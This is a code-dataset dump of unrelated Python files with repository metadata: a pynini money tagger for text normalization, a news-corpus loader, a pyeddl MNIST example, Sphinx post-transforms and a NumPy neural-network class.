2021-07-30T18:18:47.000Z

2022-02-14T09:04:19.000Z

src/inverse_text_normalization/ori/taggers/money.py

yashiagar1999/indict_punc

8697ac5a5245c7e0d35b0777b1dc6fb1b8d6d525

[ "MIT" ]

1

2021-12-15T12:42:12.000Z

2022-02-15T05:33:00.000Z

src/inverse_text_normalization/ori/taggers/money.py

yashiagar1999/indict_punc

8697ac5a5245c7e0d35b0777b1dc6fb1b8d6d525

[ "MIT" ]

4

2021-07-30T10:03:38.000Z

2021-12-01T14:46:54.000Z

# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from inverse_text_normalization.ori.data_loader_utils import get_abs_path from inverse_text_normalization.ori.graph_utils import ( NEMO_DIGIT, NEMO_SIGMA, GraphFst, convert_space, delete_extra_space, delete_space, get_singulars, insert_space, ) try: import pynini from pynini.lib import pynutil PYNINI_AVAILABLE = True except (ModuleNotFoundError, ImportError): PYNINI_AVAILABLE = False # from inverse_text_normalization.lang_params import LANG # lang_data_path = f'inverse_text_normalization/data/{LANG}_data/' lang_data_path = 'data/' class MoneyFst(GraphFst): """ Finite state transducer for classifying money e.g. twelve dollars and five cents -> money { integer_part: "12" fractional_part: 05 currency: "$" } Args: cardinal: Cardinal GraphFST decimal: Decimal GraphFST """ def __init__(self, cardinal: GraphFst, decimal: GraphFst): super().__init__(name="money", kind="classify") # quantity, integer_part, fractional_part, currency, style(depr) cardinal_graph = cardinal.graph_no_exception graph_decimal_final = decimal.final_graph_wo_negative unit = pynini.string_file(get_abs_path(lang_data_path+"currency.tsv")) unit_singular = pynini.invert(unit) unit_plural = get_singulars(unit_singular) graph_unit_singular = pynutil.insert("currency: \"") + convert_space(unit_singular) + pynutil.insert("\"") graph_unit_plural = pynutil.insert("currency: \"") + convert_space(unit_plural) + pynutil.insert("\"") add_leading_zero_to_double_digit = (NEMO_DIGIT + NEMO_DIGIT) | (pynutil.insert("0") + NEMO_DIGIT) # twelve dollars (and) fifty cents, zero cents cents_standalone = ( pynutil.insert("fractional_part: \"") + pynini.union( pynutil.add_weight(((NEMO_SIGMA - "one") @ cardinal_graph), -0.7) @ add_leading_zero_to_double_digit + delete_space + pynutil.delete("cents"), pynini.cross("one", "01") + delete_space + pynutil.delete("cent"), ) + pynutil.insert("\"") ) optional_cents_standalone = pynini.closure( delete_space + pynini.closure(pynutil.delete("and") + delete_space, 0, 1) + insert_space + cents_standalone, 0, 1, ) # twelve dollars fifty, only after integer optional_cents_suffix = pynini.closure( delete_extra_space + pynutil.insert("fractional_part: \"") + pynutil.add_weight(cardinal_graph @ add_leading_zero_to_double_digit, -0.7) + pynutil.insert("\""), 0, 1, ) graph_integer = ( pynutil.insert("integer_part: \"") + ((NEMO_SIGMA - "one") @ cardinal_graph) + pynutil.insert("\"") + delete_extra_space + (graph_unit_plural | graph_unit_singular) + (optional_cents_standalone | optional_cents_suffix) ) graph_integer |= ( pynutil.insert("integer_part: \"") + pynini.cross("one", "1") + pynutil.insert("\"") + delete_extra_space + graph_unit_singular + (optional_cents_standalone | optional_cents_suffix) ) graph_decimal = graph_decimal_final + delete_extra_space + graph_unit_plural graph_decimal |= pynutil.insert("currency: \"$\" integer_part: \"0\" ") + cents_standalone final_graph = graph_integer | graph_decimal final_graph = self.add_tokens(final_graph) self.fst = final_graph.optimize()

37.747826

116

0.646164

from inverse_text_normalization.ori.data_loader_utils import get_abs_path from inverse_text_normalization.ori.graph_utils import ( NEMO_DIGIT, NEMO_SIGMA, GraphFst, convert_space, delete_extra_space, delete_space, get_singulars, insert_space, ) try: import pynini from pynini.lib import pynutil PYNINI_AVAILABLE = True except (ModuleNotFoundError, ImportError): PYNINI_AVAILABLE = False lang_data_path = 'data/' class MoneyFst(GraphFst): def __init__(self, cardinal: GraphFst, decimal: GraphFst): super().__init__(name="money", kind="classify") cardinal_graph = cardinal.graph_no_exception graph_decimal_final = decimal.final_graph_wo_negative unit = pynini.string_file(get_abs_path(lang_data_path+"currency.tsv")) unit_singular = pynini.invert(unit) unit_plural = get_singulars(unit_singular) graph_unit_singular = pynutil.insert("currency: \"") + convert_space(unit_singular) + pynutil.insert("\"") graph_unit_plural = pynutil.insert("currency: \"") + convert_space(unit_plural) + pynutil.insert("\"") add_leading_zero_to_double_digit = (NEMO_DIGIT + NEMO_DIGIT) | (pynutil.insert("0") + NEMO_DIGIT) cents_standalone = ( pynutil.insert("fractional_part: \"") + pynini.union( pynutil.add_weight(((NEMO_SIGMA - "one") @ cardinal_graph), -0.7) @ add_leading_zero_to_double_digit + delete_space + pynutil.delete("cents"), pynini.cross("one", "01") + delete_space + pynutil.delete("cent"), ) + pynutil.insert("\"") ) optional_cents_standalone = pynini.closure( delete_space + pynini.closure(pynutil.delete("and") + delete_space, 0, 1) + insert_space + cents_standalone, 0, 1, ) optional_cents_suffix = pynini.closure( delete_extra_space + pynutil.insert("fractional_part: \"") + pynutil.add_weight(cardinal_graph @ add_leading_zero_to_double_digit, -0.7) + pynutil.insert("\""), 0, 1, ) graph_integer = ( pynutil.insert("integer_part: \"") + ((NEMO_SIGMA - "one") @ cardinal_graph) + pynutil.insert("\"") + delete_extra_space + (graph_unit_plural | graph_unit_singular) + (optional_cents_standalone | optional_cents_suffix) ) graph_integer |= ( pynutil.insert("integer_part: \"") + pynini.cross("one", "1") + pynutil.insert("\"") + delete_extra_space + graph_unit_singular + (optional_cents_standalone | optional_cents_suffix) ) graph_decimal = graph_decimal_final + delete_extra_space + graph_unit_plural graph_decimal |= pynutil.insert("currency: \"$\" integer_part: \"0\" ") + cents_standalone final_graph = graph_integer | graph_decimal final_graph = self.add_tokens(final_graph) self.fst = final_graph.optimize()

true

1c423fb9b382926c97effb864db3316e9698d827

2,137

py

Python

data/local_news_data/baltimore_sun/loader.py

tpsatish95/covid19-search-engine

e09ae172216e204f5efc284ead99d17b4461e159

[ "Apache-2.0" ]

1

2020-06-14T16:52:55.000Z

data/local_news_data/baltimore_sun/loader.py

tpsatish95/covid19-search-engine

e09ae172216e204f5efc284ead99d17b4461e159

[ "Apache-2.0" ]

1

2020-05-06T14:28:10.000Z

data/local_news_data/baltimore_sun/loader.py

tpsatish95/covid19-search-engine

e09ae172216e204f5efc284ead99d17b4461e159

[ "Apache-2.0" ]

null

import os import re from collections import defaultdict from nltk.tokenize import word_tokenize from data.template import Dataset, Document, Text class BaltimoreSunCovidDataset(Dataset): def __init__(self, base_path): self.base_path = base_path self.documents = None super().__init__() def read_raw(self, filename): docs = [defaultdict(list)] # empty 0 index category = '' with open(os.path.join(self.base_path, filename)) as f: i = 0 for line in f: line = line.strip() if line.startswith('.I'): i = int(line[3:]) docs.append(defaultdict(list)) elif re.match(r'\.\w', line): category = line[1] elif line != '': docs[i][category].append(Text(line, [word.lower() for word in word_tokenize(line)])) return docs def load_docs(self, filename): raw_docs = self.read_raw(filename) documents = list() for doc_id, _ in enumerate(raw_docs[1:]): title, content = None, None raw, tokenized = "", list() for entry in raw_docs[doc_id+1]["T"]: raw += " " + entry.raw tokenized.extend(entry.tokenized) title = Text(raw, tokenized) raw, tokenized = "", list() for category in ["A", "K", "W"]: for entry in raw_docs[doc_id+1][category]: raw += " " + entry.raw tokenized.extend(entry.tokenized) content = Text(raw, tokenized) documents.append(Document(doc_id+1, title, content, raw_docs[doc_id+1]["U"][0].raw)) self.documents = documents def load_queries(self, filename): pass def load_relevant_docs(self, filename): pass # load the data base_path = './data/local_news_data/baltimore_sun' baltimore_sun_covid_data = BaltimoreSunCovidDataset(base_path) baltimore_sun_covid_data.load_docs('BALTIMORE_SUN.ALL')

31.895522

96

0.552644

import os import re from collections import defaultdict from nltk.tokenize import word_tokenize from data.template import Dataset, Document, Text class BaltimoreSunCovidDataset(Dataset): def __init__(self, base_path): self.base_path = base_path self.documents = None super().__init__() def read_raw(self, filename): docs = [defaultdict(list)] category = '' with open(os.path.join(self.base_path, filename)) as f: i = 0 for line in f: line = line.strip() if line.startswith('.I'): i = int(line[3:]) docs.append(defaultdict(list)) elif re.match(r'\.\w', line): category = line[1] elif line != '': docs[i][category].append(Text(line, [word.lower() for word in word_tokenize(line)])) return docs def load_docs(self, filename): raw_docs = self.read_raw(filename) documents = list() for doc_id, _ in enumerate(raw_docs[1:]): title, content = None, None raw, tokenized = "", list() for entry in raw_docs[doc_id+1]["T"]: raw += " " + entry.raw tokenized.extend(entry.tokenized) title = Text(raw, tokenized) raw, tokenized = "", list() for category in ["A", "K", "W"]: for entry in raw_docs[doc_id+1][category]: raw += " " + entry.raw tokenized.extend(entry.tokenized) content = Text(raw, tokenized) documents.append(Document(doc_id+1, title, content, raw_docs[doc_id+1]["U"][0].raw)) self.documents = documents def load_queries(self, filename): pass def load_relevant_docs(self, filename): pass base_path = './data/local_news_data/baltimore_sun' baltimore_sun_covid_data = BaltimoreSunCovidDataset(base_path) baltimore_sun_covid_data.load_docs('BALTIMORE_SUN.ALL')

true

1c4240229e4a83fba94c99ce1dbe3f737b8b1fda

3,026

py

Python

examples/NN/1_MNIST/mnist_mlp_initializers.py

deephealthproject/pyeddl

a6c304b7cec2b342aa84a7b3ace2d91c69ad5a84

[ "MIT" ]

8

2020-02-28T06:39:17.000Z

2022-02-01T09:59:51.000Z

examples/NN/1_MNIST/mnist_mlp_initializers.py

deephealthproject/pyeddl

a6c304b7cec2b342aa84a7b3ace2d91c69ad5a84

[ "MIT" ]

26

2019-10-30T10:53:21.000Z

2022-02-17T08:56:37.000Z

examples/NN/1_MNIST/mnist_mlp_initializers.py

deephealthproject/pyeddl

a6c304b7cec2b342aa84a7b3ace2d91c69ad5a84

[ "MIT" ]

4

2019-10-17T07:48:37.000Z

2022-02-03T10:04:37.000Z

# Copyright (c) 2019-2021 CRS4 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. """\ Basic MLP for MNIST with initializers. """ import argparse import sys import pyeddl.eddl as eddl from pyeddl.tensor import Tensor MEM_CHOICES = ("low_mem", "mid_mem", "full_mem") def main(args): eddl.download_mnist() num_classes = 10 in_ = eddl.Input([784]) layer = in_ layer = eddl.ReLu(eddl.GlorotNormal(eddl.Dense(layer, 1024))) layer = eddl.ReLu(eddl.GlorotUniform(eddl.Dense(layer, 1024))) layer = eddl.ReLu(eddl.RandomNormal(eddl.Dense(layer, 1024))) out = eddl.Softmax(eddl.Dense(layer, num_classes)) net = eddl.Model([in_], [out]) eddl.build( net, eddl.sgd(0.01, 0.9), ["soft_cross_entropy"], ["categorical_accuracy"], eddl.CS_GPU(mem=args.mem) if args.gpu else eddl.CS_CPU(mem=args.mem) ) eddl.summary(net) eddl.plot(net, "model.pdf") x_train = Tensor.load("mnist_trX.bin") y_train = Tensor.load("mnist_trY.bin") x_test = Tensor.load("mnist_tsX.bin") y_test = Tensor.load("mnist_tsY.bin") if args.small: x_train = x_train.select([":6000"]) y_train = y_train.select([":6000"]) x_test = x_test.select([":1000"]) y_test = y_test.select([":1000"]) x_train.div_(255.0) x_test.div_(255.0) eddl.fit(net, [x_train], [y_train], args.batch_size, args.epochs) eddl.evaluate(net, [x_test], [y_test], bs=args.batch_size) print("All done") if __name__ == "__main__": parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--epochs", type=int, metavar="INT", default=10) parser.add_argument("--batch-size", type=int, metavar="INT", default=1000) parser.add_argument("--gpu", action="store_true") parser.add_argument("--small", action="store_true") parser.add_argument("--mem", metavar="|".join(MEM_CHOICES), choices=MEM_CHOICES, default="low_mem") main(parser.parse_args(sys.argv[1:]))

34.781609

79

0.692333

import argparse import sys import pyeddl.eddl as eddl from pyeddl.tensor import Tensor MEM_CHOICES = ("low_mem", "mid_mem", "full_mem") def main(args): eddl.download_mnist() num_classes = 10 in_ = eddl.Input([784]) layer = in_ layer = eddl.ReLu(eddl.GlorotNormal(eddl.Dense(layer, 1024))) layer = eddl.ReLu(eddl.GlorotUniform(eddl.Dense(layer, 1024))) layer = eddl.ReLu(eddl.RandomNormal(eddl.Dense(layer, 1024))) out = eddl.Softmax(eddl.Dense(layer, num_classes)) net = eddl.Model([in_], [out]) eddl.build( net, eddl.sgd(0.01, 0.9), ["soft_cross_entropy"], ["categorical_accuracy"], eddl.CS_GPU(mem=args.mem) if args.gpu else eddl.CS_CPU(mem=args.mem) ) eddl.summary(net) eddl.plot(net, "model.pdf") x_train = Tensor.load("mnist_trX.bin") y_train = Tensor.load("mnist_trY.bin") x_test = Tensor.load("mnist_tsX.bin") y_test = Tensor.load("mnist_tsY.bin") if args.small: x_train = x_train.select([":6000"]) y_train = y_train.select([":6000"]) x_test = x_test.select([":1000"]) y_test = y_test.select([":1000"]) x_train.div_(255.0) x_test.div_(255.0) eddl.fit(net, [x_train], [y_train], args.batch_size, args.epochs) eddl.evaluate(net, [x_test], [y_test], bs=args.batch_size) print("All done") if __name__ == "__main__": parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--epochs", type=int, metavar="INT", default=10) parser.add_argument("--batch-size", type=int, metavar="INT", default=1000) parser.add_argument("--gpu", action="store_true") parser.add_argument("--small", action="store_true") parser.add_argument("--mem", metavar="|".join(MEM_CHOICES), choices=MEM_CHOICES, default="low_mem") main(parser.parse_args(sys.argv[1:]))

true

1c424050ab858e63b10d2aa80a83c2f500499ff2

9,734

py

Python

instruction_env/Lib/site-packages/sphinx/transforms/post_transforms/__init__.py

hanhtong/Effective-Instructions-

a1766f300c4e613b4ce10e9b6eae1b14e43c7d60

[ "MIT" ]

3

2021-07-30T19:07:06.000Z

2021-08-28T19:35:40.000Z

instruction_env/Lib/site-packages/sphinx/transforms/post_transforms/__init__.py

hanhtong/Effective-Instructions-

a1766f300c4e613b4ce10e9b6eae1b14e43c7d60

[ "MIT" ]

7

2020-12-04T04:10:42.000Z

2021-03-16T00:53:09.000Z

env/lib/python3.9/site-packages/sphinx/transforms/post_transforms/__init__.py

simotwo/AbileneParadox-ddd

c85961efb37aba43c0d99ed1c36d083507e2b2d3

[ "MIT" ]

1

2021-01-20T01:58:53.000Z

""" sphinx.transforms.post_transforms ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Docutils transforms used by Sphinx. :copyright: Copyright 2007-2021 by the Sphinx team, see AUTHORS. :license: BSD, see LICENSE for details. """ from typing import Any, Dict, List, Optional, Tuple, Type, cast from docutils import nodes from docutils.nodes import Element from sphinx import addnodes from sphinx.addnodes import pending_xref from sphinx.application import Sphinx from sphinx.domains import Domain from sphinx.errors import NoUri from sphinx.locale import __ from sphinx.transforms import SphinxTransform from sphinx.util import logging from sphinx.util.docutils import SphinxTranslator from sphinx.util.nodes import process_only_nodes logger = logging.getLogger(__name__) class SphinxPostTransform(SphinxTransform): """A base class of post-transforms. Post transforms are invoked to modify the document to restructure it for outputting. They do resolving references, convert images, special transformation for each output formats and so on. This class helps to implement these post transforms. """ builders = () # type: Tuple[str, ...] formats = () # type: Tuple[str, ...] def apply(self, **kwargs: Any) -> None: if self.is_supported(): self.run(**kwargs) def is_supported(self) -> bool: """Check this transform working for current builder.""" if self.builders and self.app.builder.name not in self.builders: return False if self.formats and self.app.builder.format not in self.formats: return False return True def run(self, **kwargs: Any) -> None: """main method of post transforms. Subclasses should override this method instead of ``apply()``. """ raise NotImplementedError class ReferencesResolver(SphinxPostTransform): """ Resolves cross-references on doctrees. """ default_priority = 10 def run(self, **kwargs: Any) -> None: for node in self.document.traverse(addnodes.pending_xref): contnode = cast(nodes.TextElement, node[0].deepcopy()) newnode = None typ = node['reftype'] target = node['reftarget'] refdoc = node.get('refdoc', self.env.docname) domain = None try: if 'refdomain' in node and node['refdomain']: # let the domain try to resolve the reference try: domain = self.env.domains[node['refdomain']] except KeyError as exc: raise NoUri(target, typ) from exc newnode = domain.resolve_xref(self.env, refdoc, self.app.builder, typ, target, node, contnode) # really hardwired reference types elif typ == 'any': newnode = self.resolve_anyref(refdoc, node, contnode) # no new node found? try the missing-reference event if newnode is None: newnode = self.app.emit_firstresult('missing-reference', self.env, node, contnode, allowed_exceptions=(NoUri,)) # still not found? warn if node wishes to be warned about or # we are in nit-picky mode if newnode is None: self.warn_missing_reference(refdoc, typ, target, node, domain) except NoUri: newnode = contnode node.replace_self(newnode or contnode) def resolve_anyref(self, refdoc: str, node: pending_xref, contnode: Element) -> Element: """Resolve reference generated by the "any" role.""" stddomain = self.env.get_domain('std') target = node['reftarget'] results = [] # type: List[Tuple[str, Element]] # first, try resolving as :doc: doc_ref = stddomain.resolve_xref(self.env, refdoc, self.app.builder, 'doc', target, node, contnode) if doc_ref: results.append(('doc', doc_ref)) # next, do the standard domain (makes this a priority) results.extend(stddomain.resolve_any_xref(self.env, refdoc, self.app.builder, target, node, contnode)) for domain in self.env.domains.values(): if domain.name == 'std': continue # we did this one already try: results.extend(domain.resolve_any_xref(self.env, refdoc, self.app.builder, target, node, contnode)) except NotImplementedError: # the domain doesn't yet support the new interface # we have to manually collect possible references (SLOW) for role in domain.roles: res = domain.resolve_xref(self.env, refdoc, self.app.builder, role, target, node, contnode) if res and isinstance(res[0], nodes.Element): results.append(('%s:%s' % (domain.name, role), res)) # now, see how many matches we got... if not results: return None if len(results) > 1: def stringify(name: str, node: Element) -> str: reftitle = node.get('reftitle', node.astext()) return ':%s:`%s`' % (name, reftitle) candidates = ' or '.join(stringify(name, role) for name, role in results) logger.warning(__('more than one target found for \'any\' cross-' 'reference %r: could be %s'), target, candidates, location=node) res_role, newnode = results[0] # Override "any" class with the actual role type to get the styling # approximately correct. res_domain = res_role.split(':')[0] if (len(newnode) > 0 and isinstance(newnode[0], nodes.Element) and newnode[0].get('classes')): newnode[0]['classes'].append(res_domain) newnode[0]['classes'].append(res_role.replace(':', '-')) return newnode def warn_missing_reference(self, refdoc: str, typ: str, target: str, node: pending_xref, domain: Optional[Domain]) -> None: warn = node.get('refwarn') if self.config.nitpicky: warn = True if self.config.nitpick_ignore: dtype = '%s:%s' % (domain.name, typ) if domain else typ if (dtype, target) in self.config.nitpick_ignore: warn = False # for "std" types also try without domain name if (not domain or domain.name == 'std') and \ (typ, target) in self.config.nitpick_ignore: warn = False if not warn: return if self.app.emit_firstresult('warn-missing-reference', domain, node): return elif domain and typ in domain.dangling_warnings: msg = domain.dangling_warnings[typ] elif node.get('refdomain', 'std') not in ('', 'std'): msg = (__('%s:%s reference target not found: %%(target)s') % (node['refdomain'], typ)) else: msg = __('%r reference target not found: %%(target)s') % typ logger.warning(msg % {'target': target}, location=node, type='ref', subtype=typ) class OnlyNodeTransform(SphinxPostTransform): default_priority = 50 def run(self, **kwargs: Any) -> None: # A comment on the comment() nodes being inserted: replacing by [] would # result in a "Losing ids" exception if there is a target node before # the only node, so we make sure docutils can transfer the id to # something, even if it's just a comment and will lose the id anyway... process_only_nodes(self.document, self.app.builder.tags) class SigElementFallbackTransform(SphinxPostTransform): """Fallback desc_sig_element nodes to inline if translator does not supported them.""" default_priority = 200 SIG_ELEMENTS = [addnodes.desc_sig_name, addnodes.desc_sig_operator, addnodes.desc_sig_punctuation] def run(self, **kwargs: Any) -> None: def has_visitor(translator: Type[nodes.NodeVisitor], node: Type[Element]) -> bool: return hasattr(translator, "visit_%s" % node.__name__) translator = self.app.builder.get_translator_class() if isinstance(translator, SphinxTranslator): # subclass of SphinxTranslator supports desc_sig_element nodes automatically. return if all(has_visitor(translator, node) for node in self.SIG_ELEMENTS): # the translator supports all desc_sig_element nodes return else: self.fallback() def fallback(self) -> None: for node in self.document.traverse(addnodes.desc_sig_element): newnode = nodes.inline() newnode.update_all_atts(node) newnode.extend(node) node.replace_self(newnode) def setup(app: Sphinx) -> Dict[str, Any]: app.add_post_transform(ReferencesResolver) app.add_post_transform(OnlyNodeTransform) app.add_post_transform(SigElementFallbackTransform) return { 'version': 'builtin', 'parallel_read_safe': True, 'parallel_write_safe': True, }

41.776824

92

0.581981

from typing import Any, Dict, List, Optional, Tuple, Type, cast from docutils import nodes from docutils.nodes import Element from sphinx import addnodes from sphinx.addnodes import pending_xref from sphinx.application import Sphinx from sphinx.domains import Domain from sphinx.errors import NoUri from sphinx.locale import __ from sphinx.transforms import SphinxTransform from sphinx.util import logging from sphinx.util.docutils import SphinxTranslator from sphinx.util.nodes import process_only_nodes logger = logging.getLogger(__name__) class SphinxPostTransform(SphinxTransform): builders = () formats = () def apply(self, **kwargs: Any) -> None: if self.is_supported(): self.run(**kwargs) def is_supported(self) -> bool: if self.builders and self.app.builder.name not in self.builders: return False if self.formats and self.app.builder.format not in self.formats: return False return True def run(self, **kwargs: Any) -> None: raise NotImplementedError class ReferencesResolver(SphinxPostTransform): default_priority = 10 def run(self, **kwargs: Any) -> None: for node in self.document.traverse(addnodes.pending_xref): contnode = cast(nodes.TextElement, node[0].deepcopy()) newnode = None typ = node['reftype'] target = node['reftarget'] refdoc = node.get('refdoc', self.env.docname) domain = None try: if 'refdomain' in node and node['refdomain']: try: domain = self.env.domains[node['refdomain']] except KeyError as exc: raise NoUri(target, typ) from exc newnode = domain.resolve_xref(self.env, refdoc, self.app.builder, typ, target, node, contnode) elif typ == 'any': newnode = self.resolve_anyref(refdoc, node, contnode) if newnode is None: newnode = self.app.emit_firstresult('missing-reference', self.env, node, contnode, allowed_exceptions=(NoUri,)) if newnode is None: self.warn_missing_reference(refdoc, typ, target, node, domain) except NoUri: newnode = contnode node.replace_self(newnode or contnode) def resolve_anyref(self, refdoc: str, node: pending_xref, contnode: Element) -> Element: stddomain = self.env.get_domain('std') target = node['reftarget'] results = [] doc_ref = stddomain.resolve_xref(self.env, refdoc, self.app.builder, 'doc', target, node, contnode) if doc_ref: results.append(('doc', doc_ref)) results.extend(stddomain.resolve_any_xref(self.env, refdoc, self.app.builder, target, node, contnode)) for domain in self.env.domains.values(): if domain.name == 'std': continue try: results.extend(domain.resolve_any_xref(self.env, refdoc, self.app.builder, target, node, contnode)) except NotImplementedError: # we have to manually collect possible references (SLOW) for role in domain.roles: res = domain.resolve_xref(self.env, refdoc, self.app.builder, role, target, node, contnode) if res and isinstance(res[0], nodes.Element): results.append(('%s:%s' % (domain.name, role), res)) # now, see how many matches we got... if not results: return None if len(results) > 1: def stringify(name: str, node: Element) -> str: reftitle = node.get('reftitle', node.astext()) return ':%s:`%s`' % (name, reftitle) candidates = ' or '.join(stringify(name, role) for name, role in results) logger.warning(__('more than one target found for \'any\' cross-' 'reference %r: could be %s'), target, candidates, location=node) res_role, newnode = results[0] # Override "any" class with the actual role type to get the styling # approximately correct. res_domain = res_role.split(':')[0] if (len(newnode) > 0 and isinstance(newnode[0], nodes.Element) and newnode[0].get('classes')): newnode[0]['classes'].append(res_domain) newnode[0]['classes'].append(res_role.replace(':', '-')) return newnode def warn_missing_reference(self, refdoc: str, typ: str, target: str, node: pending_xref, domain: Optional[Domain]) -> None: warn = node.get('refwarn') if self.config.nitpicky: warn = True if self.config.nitpick_ignore: dtype = '%s:%s' % (domain.name, typ) if domain else typ if (dtype, target) in self.config.nitpick_ignore: warn = False # for "std" types also try without domain name if (not domain or domain.name == 'std') and \ (typ, target) in self.config.nitpick_ignore: warn = False if not warn: return if self.app.emit_firstresult('warn-missing-reference', domain, node): return elif domain and typ in domain.dangling_warnings: msg = domain.dangling_warnings[typ] elif node.get('refdomain', 'std') not in ('', 'std'): msg = (__('%s:%s reference target not found: %%(target)s') % (node['refdomain'], typ)) else: msg = __('%r reference target not found: %%(target)s') % typ logger.warning(msg % {'target': target}, location=node, type='ref', subtype=typ) class OnlyNodeTransform(SphinxPostTransform): default_priority = 50 def run(self, **kwargs: Any) -> None: # A comment on the comment() nodes being inserted: replacing by [] would # result in a "Losing ids" exception if there is a target node before # the only node, so we make sure docutils can transfer the id to # something, even if it's just a comment and will lose the id anyway... process_only_nodes(self.document, self.app.builder.tags) class SigElementFallbackTransform(SphinxPostTransform): default_priority = 200 SIG_ELEMENTS = [addnodes.desc_sig_name, addnodes.desc_sig_operator, addnodes.desc_sig_punctuation] def run(self, **kwargs: Any) -> None: def has_visitor(translator: Type[nodes.NodeVisitor], node: Type[Element]) -> bool: return hasattr(translator, "visit_%s" % node.__name__) translator = self.app.builder.get_translator_class() if isinstance(translator, SphinxTranslator): return if all(has_visitor(translator, node) for node in self.SIG_ELEMENTS): return else: self.fallback() def fallback(self) -> None: for node in self.document.traverse(addnodes.desc_sig_element): newnode = nodes.inline() newnode.update_all_atts(node) newnode.extend(node) node.replace_self(newnode) def setup(app: Sphinx) -> Dict[str, Any]: app.add_post_transform(ReferencesResolver) app.add_post_transform(OnlyNodeTransform) app.add_post_transform(SigElementFallbackTransform) return { 'version': 'builtin', 'parallel_read_safe': True, 'parallel_write_safe': True, }

true

1c42409c2dcd2bc7895d7d82bdf7f199c13bfae3

4,020

py

Python

Python_3.6/ANN_class/ANN.py

Eclipse-Dominator/machine_learning_ANN_python

cb65b1ed6d62544ee8eaa749fb64fa5d3e792f76

[ "MIT" ]

1

2018-02-07T11:10:39.000Z

Python_3.6/ANN_class/ANN.py

Eclipse-Dominator/machine_learning_ANN_python

cb65b1ed6d62544ee8eaa749fb64fa5d3e792f76

[ "MIT" ]

1

2018-02-07T11:10:31.000Z

Python_3.6/ANN_class/ANN.py

Eclipse-Dominator/machine_learning_ANN_python

cb65b1ed6d62544ee8eaa749fb64fa5d3e792f76

[ "MIT" ]

1

2018-03-11T15:07:10.000Z

import numpy as np # Artificial Neural Network class ANN: def __init__(self, layer_size_list): self.input_size = layer_size_list[0] self.hidden_output_layer = [] self.cost_result = [] self.accuracy_result = [] for layer_index in range(1, len(layer_size_list)): self.hidden_output_layer.append( NNlayer( layer_size_list[layer_index - 1], layer_size_list[layer_index], self.sigmoid, self.de_sigmoid ) ) def propagate_result(self, network_input, save_result = False): previous_output = [network_input] for layer in self.hidden_output_layer: previous_output = layer.CalculateOutput(previous_output,save_data = save_result) return previous_output def mini_batch_training(self, training_data, batch_size, learning_rate = 0.3, total_epoch = 500): # batch_size should be in integer total_num_training_data = len(training_data) total_iterations = total_num_training_data // batch_size np.random.shuffle(training_data) for z in range(total_epoch): success_total = 0 cost_total = 0 temp_batch = 0 for i in range(total_iterations): index = batch_size * i success, cost = self.batch_SGD(training_data[index:index+batch_size],learning_rate) temp_batch = len(training_data[index:index+batch_size]) success_total += success cost_total += cost self.cost_result.append( cost_total/(temp_batch*total_iterations) ) self.accuracy_result.append( success_total/(temp_batch*total_iterations) ) print("epoch:", z+1, "out of", total_epoch,"| Accuracy:", success_total/(temp_batch*total_iterations)) def batch_SGD(self,training_data,learning_rate): batch_size = len(training_data) correct = 0.0 costTot = 0.0 for data in training_data: network_result = self.propagate_result(data[0],save_result = True) if np.argmax(network_result) == np.argmax(data[1]): correct += 1.0 d_cost = network_result - [data[1]] costTot+=0.5 * np.sum( (d_cost)**2 ) self.backpropagate_result(d_cost) self.update_layers(batch_size, learning_rate) return correct, costTot def update_layers(self, batch_size, learning_rate): for layer in self.hidden_output_layer: layer.update_constants(learning_rate, batch_size) def backpropagate_result(self, d_cost): final_derivative = d_cost for layer in reversed(self.hidden_output_layer): final_derivative = layer.backpropagate_layer(final_derivative) def sigmoid(self, x): return 1/(1+np.exp(-x)) def de_sigmoid(self, x): return self.sigmoid(x) * ( 1 - self.sigmoid(x) ) class NNlayer: def __init__(self, previous_nodes, current_nodes, activating_function, derivative_function): self.weightArr = np.random.random((previous_nodes,current_nodes))*2-1 self.biasArr = np.random.random((1,current_nodes))*2-1 self.activating_function = activating_function # must be iterative self.derivative_function = derivative_function # must be iterative self.bias_G_sum = np.copy(self.biasArr) * 0 self.weight_G_sum = np.copy(self.weightArr) * 0 def CalculateOutput(self, previous_layer_output, save_data = False): pre_activating = np.dot(previous_layer_output, self.weightArr) + self.biasArr if save_data: self.derivative_activation = self.derivative_function( pre_activating ) self.previous_layer_output = np.array(previous_layer_output) return self.activating_function( pre_activating ) def backpropagate_layer(self, next_layer): bias_G = next_layer * self.derivative_activation weight_G = np.dot( self.previous_layer_output.T, bias_G ) weight_G = self.previous_layer_output.T.dot( bias_G ) self.bias_G_sum += bias_G self.weight_G_sum += weight_G return np.dot( bias_G, self.weightArr.T ) def update_constants(self, learning_rate, batch_size): self.weightArr -= learning_rate * self.weight_G_sum / batch_size self.biasArr -= learning_rate * self.bias_G_sum / batch_size gradient_magnitude = np.linalg.norm(self.bias_G_sum / batch_size) + np.linalg.norm(self.weight_G_sum / batch_size) self.bias_G_sum *= 0 self.weight_G_sum *= 0 return gradient_magnitude

42.315789

142

0.765672

